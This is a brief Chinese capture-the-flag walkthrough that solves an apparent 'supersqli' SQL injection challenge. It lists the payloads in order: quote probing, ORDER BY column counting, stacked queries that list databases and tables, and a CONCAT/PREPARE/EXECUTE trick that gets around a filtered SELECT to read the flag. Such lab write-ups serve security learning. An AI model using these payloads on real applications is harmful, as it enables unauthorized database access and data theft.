直接访问目标地址,看到输入框,尝试任意输入
输入1’
输入1’ #返回正常,确认存在注入
输入1’ order by 2 # 返回正常
输入1’ order by 3 # 返回报错
再试着输入select测试返回点:1’ union select 1,2 #,发现select被过滤
尝试堆叠注入:1’;show databases; #
输入 1’;show tables; #
输入 1’;show columns from flagg#
输入 -1’;use supersqli;set @sql=concat(‘s’,'elect flag
from flagg
');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
成功得到flag!